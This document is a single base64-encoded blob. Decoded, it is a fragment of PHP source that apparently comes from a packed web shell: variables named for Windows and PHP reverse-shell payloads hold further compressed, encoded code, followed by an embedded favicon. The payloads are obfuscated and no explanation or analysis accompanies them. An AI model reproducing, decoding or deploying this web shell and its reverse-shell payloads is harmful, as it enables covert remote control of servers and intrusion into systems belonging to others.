ZjdYVngzcGp4MExaRFpjcUlmMmtLcWxRYmt2WGl1QXI4K01RY3JkK0pwcUNlSTN6bFZTNXE4YkJKZGZKNHVBUW1xd0V2TEhhZ01WRE10WXVVN3lCY1pxaC9xbDNZTDl4UjRReXFRcllYNitUOFU2cWNlcmxPY2FvOUJtM2ZHTzJuYmVHZ1dOaGFOa2xFMW9wRUFqRmI5Vm1IL1JuNXdsOHBiMkxNaTYwdUFka1ZleGR1NDIrdnNORTM5ZWMxYUJLck9iemFSeUJVYmdLYzVwVmhCSnNacmgxUUp1QXZydFlkajFaZ0tWNWlxbGNsMnBnVEh5Z0R1MjV1SXdMMzdXdTJXMC9vWGJBL2ljemV5MlpWamhwQ0J0YzArVWc4VUFFYVNac3dPdjBzaFRzNFlHOXpHZDRDMHZweTY2OCtnTnpQOHBQTG1pcGUrelEzb1BKMzkyUXprUWpKY0QvVXVqZ3I0MUMyWUEvSHBjMFViQUhrZER3cFBGZlFXclI1RTVqd2FTemVVWnQ0b2wwQ1R4NjlvZ3UvVi9GUEdmWXc2Y1pYUi9yMjJkbS9mSlJ4dkI2eGUyazUvUVAiOw0KJHNfcnNfd2luID0gIjdWaDNXRlBadGo4cGtFQVNFaVFJU0Rzb0NpZ2RSa0NESkFJQ0NoSUJGUXRDR2hoTk16bWhTQXNUVUVPTXhxNElDZzZqamdVUmxTcEZjQ2hXSEJzS0tEcm9oUnZhSUJjWVVjOE5JM2UrS2UvNzNuL3ZqL2ZlK3I2MTlsbS9WZmJhZS8reDl6cGhHOVVBQ2dBQXRKWmhHQUFxZ2E5RUJmNTdrbW5ad0xyYUFMaXVkOSttRWhGNjN5WnFLMWNDaXNUQ0JER0REN0lZQW9FUUFwa2NVQ3dWZ0Z3QkdCQWVDZktGYkk0emdhQnZPNU9ESGdnQW9RZ1VZRSt6Q1B0UDNoNkFpTUloa040QXFGVklXaFlCZ0hyZnpJU0ZNOVZONDhpdmRTTm02ditOU21kaXZwcTFCTTdvcE45eDBoOFhvYzFIUVFELzQ3U1dIdTM2MjRmb0R3VWgvN2EvUFZvL3QvOHM0N2Yxei9xN0gvV3JuL3Z2aXl1YzhTSC96YS9CdzluVmEzcHlHNEllVXA5cW5QUkpqM2xyUXg0YkFNUUdXZy90cWRnaWdQRFdPQmhlcTNnbkg4QVdqVENvUUJ2Y0U2OG05ZzVXMUJNaVNaNHRhRnU2NGF3K0JHQklOcWdaVEtwQlkvUjRhSU85cXNDUkZ1MmNpZ0QrRUgvS2xsUUV1dHEyWU5Gb09zWURxTldVUDlBMXdjOGYwOFc2a1M0VllZY1Q0VmZrbkFicFNzSjFwYkd0dTRLRXh6bktlMStNWjlTTVlBaWJ6VzRxZlJUbzVWKytiQnhBRjYyS0FOTVVUWE52S3l3bUpxcGhBME1McFdYUGxlOUNGaXI5U2ZheS9NQnEzajBqMTZ0Q2EzZDZ2eEFHVk5BQ0FKNWlEVmViVmlOL2dvMmZNTVlBQzdYcStvSjN1OGp1TDZ3Ukx0M0Npbkd5TWhCYmovQTlZTmlRdE5SWHBTcytNV1Q1YWxXTmg2WDljbXlOU1JlYy9rUStpU0JtdzRUWnhKd0xHTGVHVDdVdnZzaHZremZGTktKcGg2RU52a2QxelgwUFRYMnBlaTE5bzduaHE0TzlBZ1g2V2hyZFgxOWpxVWFnSVVra1ZFcStOU1RBcUJMTDJpdjdZYzNwS3lnejF3bTN6djV0UkY4Y1ptbHF6Wm9EMlFMUVZPM1h2NW5WNFloMWFWN24wbm1Ba05qdkg0WlF0bnJhMldERURITWM3dTQxYXpFMnAxT3FMKzcvb2c0ekhUZUZORU5xWUgvWno1YXZqWWtCU29JamtOTUd1VjBHcUZiTlYxSnRJK0M1MFFTcW42RmpyZTl6bjdlejllemNiN1kxVlk0L2ZEbjFXZlBQY1B6Njllc2lLL2ZPMnJYTTY5Y2R5VS9HVE4wREQxdExhb1NLUmxWQmNuNFZacG0vNHZXSGl5ZmlKYTliY294SUJMMDB0RWRpcXZOOEdYcHprSUtjays5bjlucUgzRGR1THlLRFhCVHdpdFNsYUk3ZlB6b1lCdXJVK2JqU1ZEbDluMHVXUG5BMlBkeWdoMS9raHhvdzgxdTBIRW5jM3h0REJqQWlYYk5lRWg2N2FsZmJVY2FxQUw5d2hVUkNITXk1UGhnL3FERnR1RDI0Ry9LcXorZ1l6Q2tlN0VVcjE2dnYxOVlTKzFZQXMxT1YvUElGWGZFdEhpdUlGYzJQb3E5OTAyMUJpYmQ4cWR3NE5CWi83dVhHRnkxUGwrYW5IN1hBYzVIbjlWM21wQ1ZpbHRxT3JFWWVMT2dydU5Ub1BuR2ZPYTY0VVlxOVNzUzV4eEV6WFZYYzFrcjc0MWRqM3lzb1FzZHQ3enFNaHJDTi9ZK05TSGIzREQySGZsMndTUlRjNWRub3dCZStIajZ1VkVXcGJ0QkxyU1krWE5oOEwzRE9GM2hQL1VwOVpRUmU2YTVvK1ZDTWFIMFRnNzB5Y0JKOTUvSlp6elRUdWMyRmhuRGdrUVB2WCt5Tk90SWFoUjdtSmFsRC8vbmxYSHF4eGpDTlgxbGwvbTA3WW0xQjRKTm9hUmVsdDZrTTJkUExSU01NQTd4dzUrNTNWTzF3dkRSYU1uRTJOWG5nVVloaXZEbWJzSE16WnJENkxEZVAwODhhU3JiKzUxbnpZaTUvV0lOaEYvL0F6UnNCQnB4UDI4WmVvNWxjUmxzZXRyMlV0dHNydU1rV1JGbVlZaGFsMnJEVkpBU20vaC9iTitwRzJWTk1aeU1MQ2dTblBQV3cvYzlEaUpzUHZhenZUT3B2SWFvNFk1dTJ4TFkxcmhxMWJLcmxtL0QyZE5UWm54Nys4UDJCM2lzamF6ZnZGUG9CeE5MZCs0OU5HUllITjUwY1BaN2R0b1JOY29VdUhUTVlKeVJDSklQYnNrb3EyNWVTVWo0U2VlMzhzQ3ZnQ0xTQzhueDdXNUJta04wSTJjMURVcDdGcVVsd1pLNnVLNVZnTk8rWXhmVkg1NFlkNTBON2x3YmszMndQZG9rdW81eGJyUC9sZFQ5bnVMOTBJYmxGUnd6VU40RndDZldCQnJFaTE0cFkzdFM3RDY0ZHlSaks3b1JDaXVabjdxWitoMVZ0UWNpV2pRanJQOCtWbW1oMHN2YzQrZWVpS1BoLytXdk1aZW5QWTh1NitVOHRpWHNDbndjMFFPK2F2VHFhSzFEZlNCQ2FNNjRkNSsrbGwyUmJMelhEVkpwcExFNmlidHZjcmo2R3Rld2o4YW1UOGlaNU9sWkhpdi9Sd3Z5Ri9uVWhCWjV2eWp3SlkxelphcG91NkcyaGxXYU9udVJBWFRPMlBjV1dyMmw2eTdiT3o0OE8vUWEzK0ZVRnJwbGVvRi9nMXY0RGp2S2QyNGNkdHI4U3p3UWZLNWRqaEVLRDhXWkVqNXlBdHpkWnhDTW0vcFNDUTA0MFdzb1dHc3pibmFhTEJoQllaSHJ3Qnh0UzFsczBPSDVMbURwNXlJRXFld2RLblovTHR2dnFwZzI4ZjVWb21VTGdKZHQ0VXlIOUxLS2RjR2dOZmxOTWswelNiR3FibDRBREVJLzNCMyt1bHgvTFZzU01SVWtuRmM4VTZaOFVENlVFWmZUVzduS1Mwa0NKSC9CcmFGMFYwak9XOGcvWWhuZjV4K1YyaVpTdTFJdURqOHB2T0tDVGJCZjIwb3ppZUxTNkoyNVVnMWJFcmRDWXV4QnBNZFlneUtYTm80TTBRTjI3TytpUTVzZ0pyRjkvN0tCKzhWM1BWay92ejhYUjRjdTl4a2hqM3FxYmRyQjlFY24xZVpkazlHM1BvMnV2Vm5aMjFsVTIwS3ljMEZrWWk2bWtxUkhIT3hrdkRYQTFzelBzbGI0WWliSWV6b0dsVnNwdmJ1dU5TOGtOcmJSSmVwSnlwT1llVmgyck5PckdaOFptUTB1eXBwd2tlWFc1aXZTZWNqamF2QXFkanhoUmtsQkc4cWJQYTRzU2FuVHVmTHlnSDdwUTNQMXNJdXhCKzM2SGpIcDVLaFlSdnJPOHFvUVZZZUtHdHlQS0srQjlsbGZXYVR5czVSOUJLQldOaFZMcktnYWpIUjdxa3JwN0lUOGpRV1Q0VHcvdzBUNTZXNVM0NzZQZmRuZEd4b3dnZm5GUitraHJENUVHcmd3Tm4wMWU1WEJIUlZsQ3JUcWhXdHQ3aW4xd01GRlQ1MFRLdHFRZ01LTTNpSVVvN3lSamRPN1E0TE5IV1hlWXNEdmlZMSt2cHNTZ2RPUDRRYmhXRGRTZkx6cXNzUi9JT0c0aVpDMWQxNFZYMGM5VFFXTWNLVnRGSVBXM3ljc2Y4dm5KU3o5VVdvN1psRXpCdVRtWDYydUZGNHhVbmdYRVlYaTJmQWd0ZjdTOUtiNUZPazVzdDdnejZuZWJ0R3BUYTFSUWM2S2Zpd0pyTmppZTRZOVFrblBjSnFVakIxeXVIekFuWVBOQU9qS3B1VkhPSTRKdG1xeERvWHh2MDVxTDQvQ09UNG8xR1kxamNVZ2taRi9YUG45REEvcUVjSm1SN0tQZXZMdng1ZUE1TEhocXJuNzhRRGZrTTF2UkRxMGdIK0dJVXF1SGQwbEpHZ3FGbE4zd0VITHV6TWdxdjRYdzUrbEorelJ6aUJUdlMxbWRQSDFEUytub3Q3clcwbC9LU2FOUjh5RDZ1RWVkckNHSHVBZENQNWMrY1pidnkrdXlWVVA0UjlobFJZZ21IQVpERjJ5WUYxMzZzbGJGK05TMHBqL1FKYjN4aDhSVWFKd2hQWk41cDk1S0w4ZS84K2NORHozcFlLVXVqeHA4OFBFMTBWREw0N2lySVhZeFY3SlBkeDFQODNVTVRtdGYrK0JUazV0K2VKekc0T0s0M29qUHk4R1l5VlZaajk2c2xDMmhuVk04SUdLcThmd3B1VGRkT3UvS1pFbUJ6dWJYNmtNMFdhczVjd002eFFaTm80elo3ZnNsYStCZXhlbXFNNlUweGZONVNZb2s2OEQ2cXc3OE90bkNPZjlxbDBkTlphK0ovKzdCcTh0Z3dnQ2QwbFNGODg5TWVubzk4RUlMQ3RmaWI2cTBDRjlkcm12dkdvemxWUk9YdnRJTkxiVHF2TEV1SmtlcWN6V3p2MksrRmVwMXNPS2x6WjE5Q0xPZjVHL0I5ZWJHWCtTTnREMGtuNUhoaFlrWGZNUWRUUTdubis5SDc0MTREZXo2ZG5CNVhLbFBFMFJORnN4RGhWNEtjTFYrc3k3WGVKbCs0QVpqYitYYmRzZVQyRkRLZHlleW1sYlROaEpwbW5nMUxpVzVROVB1ZG94K2h0YlMyTG5tRTNiSC9vTE00Vkt4Y1ZZL1JxNEhPSkdUTkE3N3oxWlUzeUlwWHR4VFltL1NqZVZwNzJhRnR6SXc3ZmNNM0Z2QnJqNHNzeGUwQ3g5amZFSXo4eWtwb3gwTWdEbkFtTlNhNUtWNzhyVVNYM2k5V0N2ZHoxL0sxc3JXdzhkdlZtb0hVTDFYTnUyemxSYzM3Y1BlTERyWWczZVBoa3dLUzErSWtEY2hrcEhoVU1ON1NScWxrOWF4RElDdHp5ODhDRVJFaGtXMmY0SGhTQ0NDd3hkQ0hEQ1NJMDdrc2pnU01Jd2hZQ1RnWlY2Z3FmVkM5RnlxTHVwODYveGVPR2dOZ3NkbEpyQzJ4VXFjZDJ2ajJEd2VFTHN5TVRhQ2s4Q1ZRQnl4UDQ4aGtYQWtSTWRLY3Y1bUwxTWpWT2JVOENsblp4ZWt0anVBdUh5T2k4aEJ5aFk2aVRud0lEekZFN0tjV2RicnVHSkl5dUN0a1lha2dQWU1ObHZzYU40QkQ0SUxtQ2dKZHlkSEdHL1BkSEFJUWk1T25GcThoK1hrNll4d2N6bkNNb0lyWUtJTFN5aUk1eWE0Y0QyOEYrTlNFdmhjUVlLVFpDc0Q1ZzhJK1d3bk5nTmlpRnhqRm9Cei9ZVlNIbHZZQ1k4TDdDRFFIQkp6T1lrY1VNQTRCWXJBSVAvVTFBZlYvbEhnWWhCRUNmbHo1ZU9sOWQyT1RzdU9nNzYraGJHeFhFQlpnSTkxaUExa0N5dWl2ZXdsZkR4cjY5emR3NnZaZ3NtZGdKTmxhTWh5LzRsQkdONFFGQmF5T3NncE1OZ3BLaURNelNseVplaktPVkhCRVU2enljWnhZK3M5M0k4VjYzL0xNK29GMXNoS09VY3NxQ1Z4NkhqSGM2VnRGRlFBYytOano3REh2SXg5bHhydWxsVHgycGwyUXg5UmVOWWNMZWk1WUhGd05HL2FuS0UrVzlkMWY3d3NySGVjRmFUTFJzMWVNRzMyWEVIZnlQd3RPbG1XZTlDNTB6TXNyN2lra3IycWtadDNkbnM3NmxYZnlKZE96L3RsV0k0cGFPL09HWTVpTEZxSXNzSE5qNHdEZk1zQ1g1RGp0TjFZM0VsUzlCRlVTeHlLcmxPT0JFNGd6empxSFlmdndtV3lOUWdhbTAyRGhIeWF2NWpEZ0RoMHNiQTBhUk9nSnlFR0puTWh3bGg2eHliOENxN0FMb2dENmEzbVYxeWJ4U0Q0NC9rTXExQldwL1dsdWFSUWhnUUtGQzhSRThLNmNjOCtDOWxTSGlmWWhtZTlOa21jZ2Z1WXVvRVlDVEcrRVlVSTRvVjhJZTBoR0ptU3l3L2cyckRLS3M3V2NNVXA4WkhTQ0k0QU12NzhyTmxxcldEckJuYkpEeUtJS3hSY3JwcDkvUUt2eFlKTTJ1eUYyNlo3UUFKNWJVaW10UkdMTU4rSFlTZlBSZnZ6aEJJTzluTzgvL0dMaHVUcWNOR3VNR3hsWnFTL0xiRVVER2l6cEJucW5DeEk5NGZFdkdEeER5YWJaa3Z1RDJST2pQa2FtRUNwcUNYdkphS041ZUhYZkh5L0wydU5qVTJCWGlZdEl2TzRqZ2tTQXhHeThWYjVNN2xIbDRBUXp4ZnNGTHE4NXRoTFloa2lReWhGUk56MVBzL21hUngyeS9QN2VadEVHQWVtanBkQi9ZZXBBV2NmQmxOb3g0QXdRcTRtYnhGT0wzN093VU1zYk4yaWdKTlp2Rjh3SEQ1TGxISS92bk9MaEp0d2dIZXVsaHl4M2loKzMyQWtMUkxjN29EcitmYUZOeFRHS2w3TmxEUytaejVrU2V6d3VZSkNzek1Wem0rMm1rRE1sQ2FEN29FeTJWWUJUL2NYSHZNaWEzQllJOWtxaGRqQ0pEMXRqLzBVZHQyWkVvclEwVGJaYzc5MjE5c0ZZUiswSFRZWlJHSkloaVNiTTZKcjUxeXBPSk5yVFJZN0l0OVFSSGhSM2JVT2h3VldWQktHNUw3VHhwcEFDdGJON3loNXM5QzVHTUpnWjZuUHVHeGFUTDZkUjQ5ejdwalk1Wk0ram41aWF2ZmpxZG9ZcW1tRHM5aStBVUZLK0hnZzMyNU9ITldaV1hYeWNnd1lycWJMSE1MN1gyRVBjYzNqemlkWmtPWG9SVzRQcGx0VlEwQU5BUER2UFdwY25iR01DcWpxTlB0aGVMMEdwODdWWGJFSEU0VG9sR0tVVnZLaFQ0YWQ0c0hLNlhiOUQ0aGhBNkpUTWl6Vm0xRWx2VzV0OGo2VW1IQ3JCNnVObG8vQUVLVDQ4WS8rYlg5U3BDRHRMOFkvSlpQZlFtWjlCajdBc1B3UlFrVjJrWC8rbEVqTVJTN1hGaFVpbmVobndUQ3NWaUxsaldnRlJ0NkNsdmVqazM1QlBPd1AxY0piRkJOVmNtMDNYdG8zV2lJMWtma2hwQk5LVFB5dFB1eXRCdEt1Mnc2VGlKR0xtcDlWZFVBY0FDZ3hlZzBRUlJtTFZtVzdUbThINGdOZDNvS0ZqN0sxMzBkeU1VSFlCcWhMOGV2NjROR1N0ZkRSclZwUTY0NVJvT1JOYU0wYitHaXlGbENXOExSU20yMEVobXVtL3dIUW83YWhJOWZEVDFXN1QydTNTd1pteXVMc002UHBVZlJwTUpxaENyQ1ZiUU44YmtzL3lnZGsvWmdzR0FiK24vNnYwL0ZDQUdBWC9objdYcXZML29LVmFmVTlmOEZxdGJxNjhML08yNnJGbjJuNXZaYkh0WXd1QW9CWlJWOXQ0TXpvUERONnpveXJBaU5XQjRaNnVEc0hoSVlDdElCMU5IcklqTUtYSkxMRWtQUDA4Mko5cEh2c0RBb0FvVUlHTzVUTEZEUEVLVFFBME40LzJxdUpwYjJzeEJ5SkJBQm1uaEphRE9Ld29OOTFHay83MHZoZFd5SG1jTFNacG0reTZlRGZBb0Z3RVVjdzgvVFI1bzNsQ3BrQXdPUUsyUDg3enZ6ZiI7DQokc19yc19waHAgPSAiN1ZWTmIrTTJFRDNiZ1ArRGxoVVFDVlVzeXk2d1FGeG1MKzJ4d0tJdDBNTW1GV1NLc2doTElzdWhhaSthL1BjT1JjbldPazZ5YUxlOXREQmlrek9jeC9sNGZQbjJuU3JWYlBxVlZ4cWo0Q2FPbWN6NWZDdmx0dUp6SnV0WXhadlYyMjkyMTFEeXFvcG5VNjYxMUtubVNtb2ptbTJ3Q05lektYQ1RHbEh6dEJLMU1NNG1ONm1vVlNXWU1HbFJ0VkFHMWpxYitpYlRXMjZvRDZrR3QxNGZyVUQ1UVZXWVFrQThFdlZHRytjem9NbHE5ZFl1OXhsdDJxcXlTMzVhUWtrSkJtTmEzcy9mLy9nRFBSaXU2L1g3bnhKNmRlZS8vK1c3MjZ0MTcwYmJPdDZJSm9iU3V4YkVCdGVVZEdWNlhabmVqY2RrMDNCbWVIN1hrQzV0VVFSTXRvMEpoa3hEU3BQd2o5bDA0aXZxSCt1WStKZ0c2UllHTVVXVDI4MGo5cTBDZmdsamVZWUJIeGIzUGM3Umt0d2ZBVE8yNndHN2xJcTJZVWJJSnVVSEFRYUNLOFVhVTZXRjFMdXJzRWNXT1QxWnV5Rk1NTEt6MCtza3hFZ1RKR096TXkwR2s1SWdEaW1PR0VRZWhHY3hReUtZWEYrdXV4VW9HTTJ6T2dYSmRzZ080UHAzcmdOaW1FS1NMZWJkNTRiTWZSWDVTS2xHZGo4WTA5MDZ4UGEwa2kyMkRLS1ZTOGxuWjlnWlkxelpFMFBHNkRheWtudThFTm9ON2dJa2VkbzJXYzJETUZwRXF4RExJSHZSdUdRbnhWNEx3d09mUlg0OXg0NnpQUlk2Sjdla0E1enNTMUdoVjcyaHRNaHdqQzdJenF5dzQ4RTRkNjVybHViYnRNNE1Ld01Tcy96T0N6NzhlZ2YzWDRleFFENWpzVnFIZmZ6RXozT0srMzY4TGw1QW1nc2RvQ3NNV1Rrc2U3OHY2VGc3WjMzc3ZudDZHUzNxY2ZtKzZrcTE4eUxldzRQM2pQKzNGdjJodDhHdTd0WkhQQS92NHdkYk9WNkg3MkQrOVBKUjU2VExza3VuWUpVRWZtek1zSFVEc2ljcy9KUFd1OE4rRGpUVE92c1lMT2l0V3hBbEZDY1IwU1NNa25QakhvM0xDOFllVFdtcXRHU3BWTHpCRE1vSThYRVFRamsvOXV3TjlseHprSzFtdGxhY3oraEpqS200cVpCdlZ2TnNPRDdUYVBIS2tlVDFJOHVYajdEQjZ6aG9kRHV3eno1K0xndmI0NGNIdDNKWGh1Rm9qTDdPK21iYUR2YzU5UmYzckRyZVc2SGVCUmdRb2NEaWE4d2lxNnduWm9zbVBTSHA3TVJpUVF0RXlEczdnNEdydzJEN1Z2a2lITlAxRTd3aHJZdWdnL01wTW5zVmRQa1M2UEt6UUIvUCtEdGk5ckIwRlg2NlQ4NzJRN2M3S2c1MlBUeUgwNzhISjZOVzVBY1pMYXpJT2ZLV25ZRHdCditPWXZnMzFBNytvdHJCZjE3dDRMTGF2U0J2OEwrOFhUb0NyOHNiZkthOHdSZVROM2hHTk9EZmxUZjRKK1R0SFBRNWVmc2ltdmJ1OWs4PSI7DQokc19mYXZpY29uID0iZGF0YTppbWFnZS94LWljb247YmFzZTY0LEFBQUJBQUVBZ0lBQUFBRUFJQUFvQ0FFQUZnQUFBQ2dBQUFDQUFBQUFBQUVBQUFFQUlBQUFBQUFBQUFBQkFNTU9BQURERGdBQUFBQUFBQUFBQUFELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8v